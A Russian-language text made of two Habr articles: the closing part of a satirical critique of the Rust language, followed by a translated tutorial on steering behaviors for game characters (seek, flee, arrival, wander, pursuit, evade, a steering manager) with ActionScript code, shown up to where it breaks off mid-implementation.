Тестирование это следующий этап погружения в эффективную работу с Яистом. Нас знакомят с макросом **assert!** и его вариациями. Программирование на ассертах никаких позывов пошутить не вызывает, это надежное средство охраны своего кода от мусорных данных на входе и неожиданных результатов на выходе.
Условная компиляция
-------------------
Еще один неожиданный гость из прошлого. Еще совсем недавно его критиковали за нарушение ожиданий от процесса компиляции. Но теперь, в 2015-м мы можем себе это позволить.
В целом, большинство перечисленных фич опирается на механизм аннотаций, который, как мне кажется, является обоюдоострым средством, которое с одной стороны позволяет управлять работой компилятора/линкера, а с другой стороны, перенос программирования в аннотации вызывает сомнения в верности выбора инструмента.
Документация
------------
Она есть. Даже с HTML. Мы можем многое.
Итераторы
---------
Полезная абстракция, автор описывает способы работы с ней, описывая некоторые паттерны проектирования, которые применяются в реализации итераторов Яиста. Встраивание коллекций в язык когда-то позволило вывести из под контроля сотен тысяч программистов их сотни тысяч реализаций списков и ассоциативных массивов. В 2015-м не иметь поддержки коллекций в самом языке это фу и моветон. Профессионалы не одобрят.
Многопоточность
---------------
Треды, мьютексы, каналы, безопасная передача между тредами, мутабельность/иммутабельность. Проверено-надежно.
FFI
---
Добро пожаловать в мир Си-интерфейсов функций и Си-типов данных. КМПВ, в мире бабочек и пони никому не придется использовать эти ужасные инструменты. А пока приходится жить в мире FFI, где дух семидесятых и свобода от порядка раскладывания параметров на стек.
Borrow and AsRef traits
-----------------------
Trait это объявление интерфейса метода, который используется для последующей реализации в одной или нескольких структурах. Что-то среднее между интерфейсным классом и примесью. Если вы с трудом понимаете, зачем для этого придумывать новое слово, то не огорчайтесь. Скорее всего, разработчики применяют принцип наибольшего удивления, чтобы прорваться сквозь закостенелые шаблоны в вашем мозгу.
Яист l4ngu4g3 6еЗНoГNМ
======================
В разделе 5 описан сам язык с пояснением семантики того или иного ключевого слова. Описание довольно длинное, смешные моменты уже проявились в простых примерах. Еще среди забавных фактов можно выделить несколько: * все есть выражение, но мы специальным знаком можем отметить функции, которые ничего не возвращают, чувствуется глубина проработки абстрактной части
* оператор if возвращает результат (да-да), заменяя собой тернарный оператор
* встроенный оператор transmute, который оставляет дырку в целостности типов данных
* яист с оператором unsafe направлен на безопасность
Владение объектами и время жизни, как фичи, возможно и простые, завязки идут на scope, затрагивая heap (из-за отсутствия сборки мусора), все это дело осложняется замыканиями, и в итоге описание концепции получается довольно сложное, и про него на Хабре напишут еще не одну статью, в попытках понять и ~~простить~~объяснить.
В целом, синтаксис и концепции, которые за ним скрываются (или не скрываются) оставляют тягостное ощущение. Сложные примеры наполнены россыпью двоеточий, знаков восклицания, скобочками. Конечно, производители языков не очень волнуются по этому поводу. Это их дело, какой семантикой наполнять тот или иной символ.
Заключение
==========
Конечно, данная статья это просто забавный способ передать мои ощущения от изучения свежего языка программирования. Через призму моего опыта я воспринимал то или иное решение, которое встречал в процессе изучения. Конечно, какие-то особенности я упустил. Но цель была немного не в этом.
Культурные особенности экосистемы Компании мне неизвестны, возможно, именно так должен выглядеть язык, на котором формализуют свои мысли и идеи сообщества умных людей. Но дуализм ситуации заключается в том, что Яист во многом предопределен личными особенностями создателей, которые прожили всю жизнь, с «проклятием» языков с фигурными скобочками и теперь уже тратят свои силы на поддержание экосистемы проклятия в головах людей.
И вполне может сложиться ситуация, при которой группы людей формулируют некие формальные языки с неосознанной, непроявленной целью выделить из окружающего большинства подгруппу людей со схожим мироощущением. Если эта странная гипотеза хоть чуточку близка к реальности, то я вынужден признать, что не отношусь к этой подгруппе людей. Возможно, для моего случая есть более звучные и яркие определения, которые данная подгруппа применит ко мне после прочтения статьи.
Я увидел в языке Яист бессмысленное следование существующим внешним признакам с последовательной подменой существующих внутри парадигмы императивного программирования понятий на новые, выдуманные внутри Компании. Через несколько лет язык Яист станет частью этой реальности, и люди которые его изучат и применят на практике, поменяются сами. И начнут мыслить понятиями, которых не было еще вчера. Теми понятиями, которые для них выдумала Компания, потратив ресурсы на продукт, который удобен только определенной группе людей.
Таким вот ползучим образом человеческие сообщества продвигают свое видение мира вперед, проводят экспансию своего мировоззрения на окружающих, вознаграждают лояльных, кооптируют умных и наказывают инакомыслящих. Такой вот ход истории.
Слово «проклятие» иносказательное. Чтобы передать смысл явления. Не принимайте близко к сердцу. Мир вам. | https://habr.com/ru/post/258391/ | null | ru | null |
# Имитация естественного движения: Steering Behaviors
Steering behaviors помогают автономным персонажам реалистично двигаться благодаря применению простых сил, сочетание которых создаёт естественно выглядящее и импровизированное движение по окружению. В этом туториале я расскажу об основах теории steering behaviors, а также об их реализации.
Идеи, на которых построены такие поведения, предложены [Крейгом Рейндольдсом](http://www.red3d.com/cwr/); они не основаны на сложных стратегиях с использованием планирования пути или глобальных вычислений, а применяют локальную информацию, например, силы соседних объектов. Благодаря этому они просты в понимании и реализации, но в то же время способны создавать очень сложные паттерны движения.
***Примечание:** хотя этот туториал писался на AS3 и Flash, те же самые техники и концепции можно использовать почти в любой среде разработки игр. Вам понадобится базовое понимание математических векторов.*
---
Часть 1. Поведение Seek (поиск)
-------------------------------
Позиция, скорость и движение
----------------------------
Реализация всех сил, участвующих в steering behaviors, возможна при использовании математических векторов. Так как эти силы влияют на скорость и позицию персонажа, то для их представления логично будет также использовать векторы.
Хотя у вектора есть *направление*, мы будем игнорировать его, когда дело будет касаться позиции (будем считать, что вектор позиции указывает на текущее местоположение персонажа).
На показанном выше изображении показан персонаж, находящийся в `(x, y)` и имеющий скорость `(a, b)`. Движение вычисляется с помощью [метода Эйлера](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0):
```
position = position + velocity
```
Направление вектора скорости будет управлять направлением движения персонажа, а его длина (или величина) будет управлять величиной перемещения за каждый кадр. Чем больше длина, тем быстрее движется персонаж. Вектор скорости можно усекать, чтобы он не превышал определённого значения (обычно это максимальная скорость). Ниже показано изображение, демонстрирующее такой подход.
Красный квадрат движется по направлению к цели. Паттерн движения иллюстрирует поведение *seek*, но пока **без** приложенных управляющих сил. Зелёной линией обозначен вектор скорости, вычисляемый следующим образом:
```
velocity = normalize(target - position) * max_velocity
```
Важно заметить, что без управляющей силы персонаж описывает прямые маршруты и мгновенно изменяет своё направление при перемещении цели, совершая таким образом резкий переход между текущим и новым маршрутами.
---
Вычисление сил
--------------
Если задействована только сила скорости, то персонаж будет двигаться только по прямой, задаваемой направлением этого вектора. Один из принципов steering behaviors заключается в воздействии на движение персонажа добавлением сил (называемых *управляющими силами*). Благодаря этим силам персонаж будет двигаться в том или ином направлении.
В случае поведения seek добавление персонажу в каждом кадре управляющих сил заставляет его плавно менять скорость, избегая резких смен маршрута. Если цель сдвигается, то персонаж будет *постепенно* изменять свой вектор скорости, пытаясь добраться до цели в её новом местоположении.
В поведении seek задействуются две силы: *требуемая скорость* и *управляющая* сила:
*Требуемая скорость* — это сила, направляющая персонажа к цели по кратчайшему возможному пути (по прямой линии между ними — ранее это была единственная сила, действовавшая на персонажа). *Управляющая* сила — это результат вычитания из требуемой скорости текущей скорости; она также направляет персонажа к цели.
Эти силы вычисляются следующим образом:
```
desired_velocity = normalize(target - position) * max_velocity
steering = desired_velocity - velocity
```
---
Приложение сил
--------------
После вычисления управляющей силы её необходимо приложить к персонажу (она будет прибавлена к силе скорости). Покадровое прибавление управляющей силы к скорости заставляет персонажа плавно покидать старый прямой маршрут и направляться к цели, описывая **траекторию поиска** (оранжевая кривая на рисунке ниже):
Приложение этих сил и вычисление конечных скорости/позиции имеют следующий вид:
```
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
```
Управляющая сила усекается, чтобы она не могла превосходить величину допустимых сил, с которыми может справиться персонаж. Кроме того, управляющая сила делится на массу персонажа, что создаёт разные скорости движения для персонажей с разным весом.
Каждый раз, когда цель сдвигается, соответствующим образом меняется вектор *требуемой скорости* каждого персонажа. Однако на изменение вектора *скорости* и на то, чтобы он снова указывал на цель, требуется какое-то время. В результате получается плавные переходы движения.
---
Часть 2. Поведения Flee and Arrival
-----------------------------------
Убегание
--------
Описанное выше поведение seek основано на двух силах, направляющих персонажа к цели: требуемой скорости и управляющей силе.
```
desired_velocity = normalize(target - position) * max_velocity
steering = desired_velocity - velocity
```
В этом случае `desired_velocity` является кратчайшим путём между персонажем и целью. Она получается вычитанием позиции цели из позиции персонажа. Результатом является вектор силы, проходящий от *персонажа* к *цели*.
В поведении flee используются те же две силы, но они настроены так, чтобы персонаж *убегал* от цели:
*Поведение Flee*
Этот новый вектор `desired_velocity` вычисляется вычитанием позиции *персонажа* из позиции *цели*, что даёт нам вектор, направленный от *цели* к *персонажу*.
Получающиеся силы вычисляются почти так же, как в поведении seek:
```
desired_velocity = normalize(position - target) * max_velocity
steering = desired_velocity - velocity
```
В этом случае `desired_velocity` представляет кратчайший путь побега, который может использовать персонаж, чтобы убежать от цели. Управляющая сила заставляет персонаж покинуть текущий маршрут, подталкивая его в направлении вектора требуемой скорости.
При сравнении вектора требуемой скорости в поведении flee с этим же вектором в поведении seek можно вывести следующее соотношение:
```
flee_desired_velocity = -seek_desired_velocity
```
Иными словами, один вектор является отрицательным по отношению к другому.
---
Приложение сил избегания
------------------------
После вычисления управляющей силы её необходимо прибавить к вектору скорости персонажа. Так как эта сила отталкивает персонажа от цели, то персонаж перестанет в каждом кадре двигаться к цели и начнёт от неё отдаляться, создавая **траекторию побега** (оранжевая кривая на рисунке ниже):
Сложение этих сил и вычисление конечных скорости/позиции выполняются тем же образом, что и раньше.
Приложение всех сил заставляет каждый персонаж плавно покидать текущий маршрут и избегать цели.
Пока цель влияет на каждого персонажа, не принимая в расчёт расстояние между ними; можно ограничить её «область влияния», чтобы персонаж убегал, только если находится слишком близко к цели.
---
Arrival
-------
Как мы видели, поведение seek заставляет персонаж двигаться к цели. Когда он достигает своей цели, управляющая сила продолжает на него воздействовать в соответствии с теми же правилами, заставляя персонаж «скакать» вперёд и назад вокруг цели.
Поведение *arrival* не позволяет персонажу двигаться сквозь цель. При приближении к конечной точке оно заставляет персонаж замедляться и останавливаться при достижении цели.
Это поведение состоит из двух этапов. Первый этап — когда персонаж находится далеко от цели; он работает точно так же, как поведение seek (персонаж на всей скорости движется к цели).
Второй этап начинается, когда персонаж близок к цели, находится внутри её «области замедления» (круга, центрированного в местоположении цели):
Когда персонаж входит в круг, он замедляется, пока не остановится в цели.
---
Замедление
----------
Когда персонаж входит в область замедления, его скорость линейно снижается до нуля. Этого можно достичь, приложив к вектору скорости персонажа новую управляющую силу (*силу прибытия*). Результат такого сложения рано или поздно станет равным нулю, то есть в каждом кадре к позиции персонажа ничего не будет прибавляться (то есть движения будет отсутствовать):
```
// Если (velocity + steering) равно нулю, то движение отсутствует
velocity = truncate(velocity + steering, max_speed)
position = position + velocity
function truncate(vector:Vector3D, max:Number) :void {
var i :Number;
i = max / vector.length;
i = i < 1.0 ? i : 1.0;
vector.scaleBy(i);
}
```
Чтобы перед остановкой персонаж постепенно замедлялся, скорость не должна мгновенно снижаться до нуля. Процесс постепенного замедления вычисляется на основании радиуса области замедления и расстояния между персонажем и целью:
```
// Вычисление требуемой скорости
desired_velocity = target - position
distance = length(desired_velocity)
// Проверка расстояния для определения того, находится ли персонаж
// внутри области замедления
if (distance < slowingRadius) {
// Внутри области замедления
desired_velocity = normalize(desired_velocity) * max_velocity * (distance / slowingRadius)
} else {
// Снаружи области замедления
desired_velocity = normalize(desired_velocity) * max_velocity
}
// На основании этого задаём управляющую силу
steering = desired_velocity - velocity
```
Если расстояние больше `slowingRadius`, то персонаж находится далеко от цели и его скорость должна оставаться равной `max_velocity`.
Если расстояние меньше `slowingRadius`, то персонаж вошёл в область замедления и его скорость должна снижаться.
Значение `distance / slowingRadius` изменяется в интервале от `1` (когда `distance` равно `slowingRadius`) до `0` (когда `distance` почти равно нулю). Линейное изменение заставляет скорость плавно снижаться:
Как сказано выше, движение персонажа выполняется следующим образом:
```
steering = desired_velocity - velocity
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
```
Если требуемая скорость снизилась до нуля, то управляющая сила становится равной `-velocity`. Следовательно, когда эта управляющая сила прибавляется к скорости, то мы получаем ноль, что заставляет персонаж остановиться.
По сути, поведение arrival вычисляет силу, которая должна быть равна `-velocity`, не позволяя персонажу двигаться, пока приложена эта сила. Исходный вектор скорости персонажа не меняется и продолжает работать, но обнуляется прибавлением управляющей силы.
Если управляющая сила прибытия снимается, то персонаж снова начинает двигаться, используя исходный вектор скорости.
---
Заключение
----------
Поведение flee заставляет персонаж отдаляться от цели, а поведение arrival заставляет его замедляться и останавливаться в позиции цели. Оба поведения можно использовать для создания плавных паттернов убегания или следования. Кроме того, их можно сочетать, создавая ещё более сложные движения.
Часть 3. Поведение Wander
-------------------------
Блуждание
---------
В играх часто бывает необходимо, чтобы персонажи случайным образом блуждали по окружению. Обычно такие персонажи просто ждут какого-то события (например боя с игроком) или что-то ищут. Когда игрок способен увидеть такое поведение, то функция блуждания персонажа должна быть достаточно реалистичной и красиво выглядящей.
Если игрок увидит чётко заданные маршруты или нереалистичное перемещение, то это приведёт к раздражению. В самом худшем случае игрок поймёт, как предсказывать движения персонажа, и тогда игровой процесс станет для него скучным.
Управляющее поведение *wander* предназначено для создания реалистичного «естественного» движения, которое убедит игрока, что персонаж на самом деле живой и самостоятельно ходит.
---
Поиск и случайность
-------------------
Существует несколько способов реализации паттерна блуждания с помощью steering behaviors. Самый простой — это описанное ранее поведение seek. Когда персонаж выполняет поиск, он движется к цели.
Если позиция этой цели изменяется каждые несколько секунд, то персонаж никогда не сможет её достичь (а если и сможет, то цель снова переместится). Если мы будем располагать цель в игровой области случайным образом, то персонаж будет перемещаться по всему окружению, преследуя цель.
Интерактивное демо на Flash находится [здесь](https://tuts-authors.s3.amazonaws.com/gamedev.tutsplus.com/Fernando%20Bevilacqua/2012/10/30/wander-seek-only.swf).
Реализовать это можно следующим кодом:
```
// Вычисление силы блуждания
private function wander() :Vector3D {
var now :Number = (new Date()).getTime();
if (now >= nextDecision) {
// Выбор случайной позиции для "цели"
}
// возврат управляющей силы, подталкивающей игрока
// к цели (поведение seek)
return seek(target);
}
// В игровом цикле обрабатываем силы и движение
// точно так же, как и раньше:
public function update() :void {
steering = wander()
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
}
```
Это простой и хороший подход, но его конечный результат выглядит не совсем правдоподобно. Иногда персонаж совершенно меняет свой маршрут, потому что цель помещается за его спиной. Тогда поведение персонажа больше воспринимается как *«Чёрт, ключи забыл!»*, а не *«Так, теперь я пойду в этом направлении»*.
---
Блуждание
---------
Ещё одна реализация поведения wander была предложена [Крейгом Рейнольдсом](http://www.red3d.com/cwr/), когда он изобрёл эти поведения. Основная идея заключается в создании небольших случайных смещений и приложение их в каждом игровом кадре к вектору текущего направления персонажа (в нашем случае к скорости). Так как вектор скорости определяет направление движения персонажа и скорость его перемещения, любое воздействие на этот вектор приведёт к изменению текущего маршрута.
Использование небольших смещений в каждом кадре позволяет избежать резких изменений маршрута персонажа. Например, если персонаж движется вверх и поворачивает вправо, то в следующем кадре игры он всё ещё будет двигаться вверх и поворачивать вправо, но слегка под другим углом.
Такой подход тоже можно реализовать разными способами. Один из них — поместить перед персонажем круг и использовать его для вычислений всех воздействующих сил:
Исходная точка **силы смещения** находится в центре круга и ограничена его радиусом. Чем больше радиус и расстояние от персонажа до круга, тем сильнее импульс, получаемый игроком в каждом кадре игры.
Эта сила смещения будет использоваться для воздействия на маршрут персонажа. Она используется для вычисления **силы блуждания**.
---
Вычисление позиции круга
------------------------
Первый компонент, необходимый для вычисления силы блуждания — позиция центра круга. Так как круг необходимо расположить перед персонажем, в качестве направляющей можно использовать вектор скорости:
```
// Константа CIRCLE_DISTANCE -
// это число, заданное где-то в другом месте кода.
// Код вычисления центра круга:
var circleCenter :Vector3D;
circleCenter = velocity.clone();
circleCenter.normalize();
circleCenter.scaleBy(CIRCLE_DISTANCE);
```
Вектор `circleCenter` — это клон (копия) вектора скорости, то есть он указывает в том же направлении. Он нормализован и умножен на скалярное значение (в нашем случае на `CIRCLE_DISTANCE`), что даст нам следующий вектор:
---
Сила смещения
-------------
Следующий компонент — это сила смещения, ответственная за повороты влево-вправо. Так как эта сила используется для создания отклонений, она может быть направлена куда угодно. Давайте используем вектор, выровненный относительно оси Y:
```
var displacement :Vector3D;
displacement = new Vector3D(0, -1);
displacement.scaleBy(CIRCLE_RADIUS);
//
// Случайное изменение направления вектора
// изменением его текущего угла
setAngle(displacement, wanderAngle);
//
// Немного изменяем wanderAngle, чтобы
// он не имел то же значения
// в следующем кадре игры.
wanderAngle += (Math.random() * ANGLE_CHANGE) - (ANGLE_CHANGE * .5);
```
Сила смещения создаётся и масштабируется радиусом круга. Как сказано выше, чем больше радиус, тем сильнее сила блуждания. `wanderAngle` — это скалярное значение, определяющая величину «наклона» силы смещения; после его использования к нему прибавляется случайное значение, чтобы в следующем кадре игры оно было другим. Это создаёт необходимую случайность в движении.
Чтобы понять это, давайте представим, что вычисленная выше сила смещения расположена в центре круга. Так как она отмасштабирована на значение радиуса круга, то будет выглядеть примерно так:
> **Подсказка:** не забывайте, что математические векторы не имеют позиции в пространстве, у них есть только направление и величина (длина). Поэтому их можно расположить где угодно.
---
Сила блуждания
--------------
После вычисления центра круга и вектора смещения их нужно соединить, чтобы получить **силу блуждания**. Эта сила вычисляется сложением этих двух векторов:
```
var wanderForce :Vector3D;
wanderForce = circleCenter.add(displacement);
```
Визуально мы можем представить эти силы так:
Силу блуждания можно представить как вектор, исходящий из персонажа в точку на окружности круга. В зависимости от расположения этой точки сила блуждания будет толкать персонажа влево или вправо, сильно или слабо:
Чем больше сила блуждания сонаправлена с вектором скорости, тем меньше персонаж будет менять текущий маршрут. Сила блуждания будет действовать в точности как силы seek и flee: она будет подталкивать персонажа в нужном направлении.
Аналогично тому, как направление силы в поведениях seek и flee вычисляется на основании цели, направление блуждания вычисляется на основании случайной точки на окружности круга. Окончательный код силы блуждания выглядит так:
```
private function wander() :Vector3D {
// Вычисление центра круга
var circleCenter :Vector3D;
circleCenter = velocity.clone();
circleCenter.normalize();
circleCenter.scaleBy(CIRCLE_DISTANCE);
//
// Вычисление силы смещения
var displacement :Vector3D;
displacement = new Vector3D(0, -1);
displacement.scaleBy(CIRCLE_RADIUS);
//
// Случайное изменение направления вектора
// изменением его текущего угла
setAngle(displacement, wanderAngle);
//
// Немного изменяем wanderAngle, чтобы
// он не имел то же значения
// в следующем кадре игры.
wanderAngle += Math.random() * ANGLE_CHANGE - ANGLE_CHANGE * .5;
//
// Вычисление и возврат силы блуждания
var wanderForce :Vector3D;
wanderForce = circleCenter.add(displacement);
return wanderForce;
}
public function setAngle(vector :Vector3D, value:Number):void {
var len :Number = vector.length;
vector.x = Math.cos(value) * len;
vector.y = Math.sin(value) * len;
}
```
---
Сложение сил
------------
После вычисления силы блуждания её необходимо прибавить к скорости персонажа, чтобы она могла воздействовать на его движение. Прибавление этой силы выполняется точно так же, как и раньше:
```
steering = wander()
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
```
Сила блуждания будет влиять на маршрут персонажа так же, как описанные выше поведения. Отличие заключается в том, что в каждом кадре игры она подталкивает персонажа в случайном направлении.
Интерактивное демо на Flash находится [здесь](https://tuts-authors.s3.amazonaws.com/gamedev.tutsplus.com/Fernando%20Bevilacqua/2012/10/30/wander.swf).
---
Заключение
----------
Поведение Wander — замечательный способ реализации случайного движения. Оно управляется воображаемым кругом, расположенным перед персонажем, который можно изменять, создавая необходимый паттерн движения.
Часть 4. Pursuit и Evade
------------------------
Что такое Pursuit?
------------------
Pursuit (преследование) — процесс следования за целью со стремлением *поймать её*. Важно заметить, что всё различие здесь заключается в слове «поймать». Если объект просто следует за целью, то ему достаточно повторять движения цели, следовательно, он будет идти по её следам.
Преследуя кого-то, преследователь должен следовать за целью, но также и прогнозировать, где окажется цель в ближайшем будущем. Если мы сможем спрогнозировать (или оценить), где будет находиться цель через следующие несколько секунд, то сможем изменить текущую траекторию, чтобы избежать ненужных маршрутов:
---
Прогнозирование будущего
------------------------
Как сказано в первой части туториала, движение вычисляется при помощи [метода Эйлера](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0):
```
position = position + velocity
```
Из этого непосредственно следует, что если известны текущие позиция и скорость персонажа, то мы можем предсказать, где он будет находиться через `T` обновлений игры. Допустим, персонаж движется по прямой и позиция, которую мы хотим спрогнозировать, находится находится спустя три обновления (`T=3`). Тогда будущая позиция персонажа будет такой:
```
position = position + velocity * T
```
Для правильного прогнозирования необходимо выбрать верное значение `T`. Если значение слишком большое, то преследователь будет гнаться за призраком. Если `T` слишком близко к нулю, то преследователь на самом деле не преследует, а просто следует за целью (прогнозирования нет).
Если прогноз вычисляется для каждого кадра игры, то это сработает, даже если цель постоянно меняет своё направление. При каждом обновлении генерируется новая «будущая позиция», основанная на векторе текущей скорости персонажа (который также управляет направлением движения).
---
Pursuing (преследование)
------------------------
Поведение Pursuit работает примерно так же, как и Seek; единственное различие заключается в том, что преследователь стремится не к самой цели, а к её позиции в ближайшем будущем.
Допустим, все персонажи в игре представлены классом `Boid`. Тогда в следующем псевдокоде реализована основная идея поведения pursuit:
```
public function pursuit(t :Boid) :Vector3D {
T :int = 3;
futurePosition :Vector3D = t.position + t.velocity * T;
return seek(futurePosition);
}
```
После вычисления силы преследования её необходимо прибавить к вектору скорости, как и во всех предыдущих управляющих силах:
```
public function update() :void {
steering = pursuit(target)
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
}
```
На рисунке ниже показан этот процесс:
Преследователь (персонаж внизу) стремится к будущей позиции цели, следуя по траектории, описанной оранжевой кривой. Готовый результат показан ниже. Здесь в поведении pursuit используется `T=30`.
Интерактивно демо на Flash находится [здесь](https://tuts-authors.s3.amazonaws.com/gamedev.tutsplus.com/Fernando%20Bevilacqua/2012/11/30/pursuit_simple.swf).
---
Улучшение точности преследования
--------------------------------
Когда значение `T` постоянно, то возникает проблема: точность преследования снижается при приближении цели. Так происходит потому, что когда цель близка, преследовать будет следовать к прогнозируемой позиции цели, которая находится на `T` кадров «впереди».
При настоящем преследовании такое поведение никогда не возникает, потому что преследователь понимает, что он уже достаточно близко к цели и больше не должен прогнозировать её позицию.
Существует простой трюк, с помощью которого можно избежать этой проблемы и значительно повысить точность преследования. Идея очень проста: вместо постоянного значения `T` необходимо использовать динамическое:
```
T = distanceBetweenTargetAndPursuer / MAX_VELOCITY
```
Новое значение `T` вычисляется на основании расстояния между двумя персонажами и максимальной скорости, которой может достичь цель. Проще говоря, новое `T` означает *«сколько обновлений нужно цели, чтобы переместиться из текущей позиции в позицию преследователя»*.
Чем больше расстояние, тем больше будет `T`, то есть преследователь будет стремиться к точке далеко впереди перед целью. Чем короче расстояние, тем меньше будет `T`, то есть он будет стремиться к точке, находящейся очень близко к цели. Новый код для этой реализации будет иметь такой вид:
```
public function pursuit(t :Boid) :Vector3D {
var distance :Vector3D = t.position - position;
var T :int = distance.length / MAX_VELOCITY;
futurePosition :Vector3D = t.position + t.velocity * T;
return seek(futurePosition);
}
```
Поведение Pursuit использует динамическое `T`.
Интерактивное демо на Flash находится [здесь](https://tuts-authors.s3.amazonaws.com/gamedev.tutsplus.com/Fernando%20Bevilacqua/2012/11/30/pursuit.swf).
---
Evading (избегание)
-------------------
Поведение Evade противоположно поведению Pursuit. Вместо стремления к будущей позиции цели при поведении Evade будет убегать от этой позиции:
Код избегания практически аналогичен, меняется только последняя строка:
```
public function evade(t :Boid) :Vector3D {
var distance :Vector3D = t.position - position;
var updatesAhead :int = distance.length / MAX_VELOCITY;
futurePosition :Vector3D = t.position + t.velocity * updatesAhead;
return flee(futurePosition);
}
```
Интерактивное демо на Flash находится [здесь](https://tuts-authors.s3.amazonaws.com/gamedev.tutsplus.com/Fernando%20Bevilacqua/2012/11/30/evade.swf).
---
Заключение
----------
В этой части мы рассмотрели поведения Pursuit и Evade, которые отлично подходят для имитации множества различных паттернов, например, стада животных, пытающихся сбежать от охотника.
Часть 5. Менеджер движений
--------------------------
Steering behaviors замечательно подходят для создания реалистичных паттернов движения, но будет ещё лучше, если мы сможем контролировать, использовать и сочетать их. В этой части мы обсудим и изучим реализацию менеджера движений всех ранее описанных поведений.
---
Комбинирование Steering Forces
------------------------------
Как говорилось ранее, каждое steering behavior создаёт результирующую силу (называемую «управляющей силой»), которая прибавляется к вектору скорости. Направление и величина этой силы направляют персонажа, заставляя его двигаться согласно паттерну (seek, flee, wander и так далее). В общем виде вычисления выглядят так:
```
steering = seek(); // здесь может быть любое поведение
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
```
Так как управляющая сила является вектором, её можно прибавить к любому другому вектору (так же, как и к скорости). Однако настоящая «магия» заключается в том, что мы можем складывать разные управляющие силы. Достаточно сделать так:
```
steering = nothing(); // нулевой вектор, означающий "нулевую величину силы"
steering = steering + seek();
steering = steering + flee();
(...)
steering = truncate (steering, max_force)
steering = steering / mass
velocity = truncate (velocity + steering , max_speed)
position = position + velocity
```
При сложении управляющих сил мы получим вектор, представляющий *все* эти силы. В показанном выше фрагменте кода результирующая управляющая сила будет заставлять персонаж что-то искать, *одновременно* избегая чего-то *другого*.
Ниже показаны примеры скомбинированных управляющих сил, создающих единую управляющую силу:
---
Простое создание сложных паттернов
----------------------------------
Комбинированием управляющих сил мы можем запросто создавать невероятно сложные паттерны движения. Представляете, насколько сложно было бы при помощи векторов и сил написать код, заставляющий персонаж к чему-то стремиться, одновременно избегая определённой области?
Пришлось бы вычислять расстояния, области, пути, графы и другие подобные величины. Если объекты перемещаются, то все эти вычисления необходимо повторять каждый раз, потому что окружение постоянно изменяется.
В steering behaviors все силы являются *динамическими*. Подразумевается, что они должны вычисляться при каждом обновлении игры, поэтому они естественным образом реагируют на изменения окружения.
---
Менеджер движений
-----------------
Чтобы использовать несколько steering behaviors одновременно, полезно будет создать *менеджер движений*. Идея заключается в написании «чёрного ящика», который можно подключить к любой имеющейся сущности, что позволит ей выполнять эти поведения.
Менеджер имеет ссылку на сущность, к которой он подключается (на «хост»). Менеджер передаёт хосту набор методов, таких как `seek()` и `flee()`. При каждом вызове таких методов менеджер обновляет свои внутренние свойства для создания вектора управляющей силы.
После обработки всех вызовов менеджер прибавляет результирующую управляющую силу к вектору скорости хоста. Это изменяет величину и направление вектора скорости хоста в соответствии с активными поведениями.
На рисунке ниже показана архитектура:
---
Обобщаем элементы
-----------------
У менеджера есть набор методов, каждый из которых представляет собой уникальное поведение. Для работы каждого поведения ему необходимо передавать различные фрагменты внешней информации.
Например, поведению Seek требуется точка в пространстве, используемая для вычисления управляющей силы, направленной к этому месту; для Pursuit требуется несколько фрагментов информации от цели, такие как текущая позиция и скорость. Точку в пространстве можно выразить как экземпляр `Point` или `Vector2D`. Оба они являются достаточно стандартными классами в любом фреймворке.
Однако целью в поведении Pursuit может быть всё, что угодно. Чтобы сделать менеджер движений достаточно обобщённым, он должен получать цель, которая, вне зависимости от своего типа, может ответить на несколько «вопросов», например "*Какова твоя текущая скорость?*". Благодаря [некоторым принципам объектно-ориентированного программирования](http://gamedev.tutsplus.com/tutorials/implementation/quick-tip-the-oop-principle-of-abstraction/) этого можно достичь с помощью *интерфейсов*.
Допустим, интерфейс `IBoid` описывает сущность, которой может управлять менеджер движений, и любой класс в игре может использовать steering behaviors, если он реализует `IBoid`. Тогда этот интерфейс имеет следующую структуру:
```
public interface IBoid
{
function getVelocity() :Vector3D;
function getMaxVelocity() :Number;
function getPosition() :Vector3D;
function getMass() :Number;
}
```
---
Структура менеджера движений
----------------------------
Теперь, когда менеджер может взаимодействовать со всеми сущностями игры в обобщённом виде, можно создать его базовую структуру. Менеджер состоит их двух свойств (результирующая управляющая сила и ссылка на хост), а также из набора публичных методов, по одному на каждое поведение:
```
public class SteeringManager
{
public var steering :Vector3D;
public var host :IBoid;
// Конструктор
public function SteeringManager(host :IBoid) {
this.host = host;
this.steering = new Vector3D(0, 0);
}
// Публичный API (по одному методу на каждое поведение)
public function seek(target :Vector3D, slowingRadius :Number = 20) :void {}
public function flee(target :Vector3D) :void {}
public function wander() :void {}
public function evade(target :IBoid) :void {}
public function pursuit(target :IBoid) :void {}
// Метод обновления.
// Должен вызываться после вызова всех поведений
public function update() :void {}
// Сброс внутренней управляющей силы.
public function reset() :void {}
// Внутренний API
private function doSeek(target :Vector3D, slowingRadius :Number = 0) :Vector3D {}
private function doFlee(target :Vector3D) :Vector3D {}
private function doWander() :Vector3D {}
private function doEvade(target :IBoid) :Vector3D {}
private function doPursuit(target :IBoid) :Vector3D {}
}
```
При создании экземпляра менеджера он должен получать ссылку на хост, к которому он подключается. Она позволит менеджеру изменять вектор скорости хоста в соответствии с активными поведениями.
Каждое поведение представляется двумя методами — публичным и приватным. Возьмём для примера поведение Seek:
```
public function seek(target :Vector3D, slowingRadius :Number = 20) :void {}
private function doSeek(target :Vector3D, slowingRadius :Number = 0) :Vector3D {}
```
Публичный `seek()` будет вызываться, чтобы приказать менеджеру применить это конкретное поведение. У этого метода нет возвращаемого значения, а его параметры связаны с самим поведением, например, точка в пространстве. Внутри будет вызываться приватный метод `doSeek()`, а его возвращаемое значение, т.е. вычисленная управляющая сила этого конкретного поведения, будет прибавляться к свойству `steering` менеджера.
В следующем коде показана реализация seek:
```
// Публичный метод.
// Получает цель и slowingRadius (используется для выполнения Arrival).
public function seek(target :Vector3D, slowingRadius :Number = 20) :void {
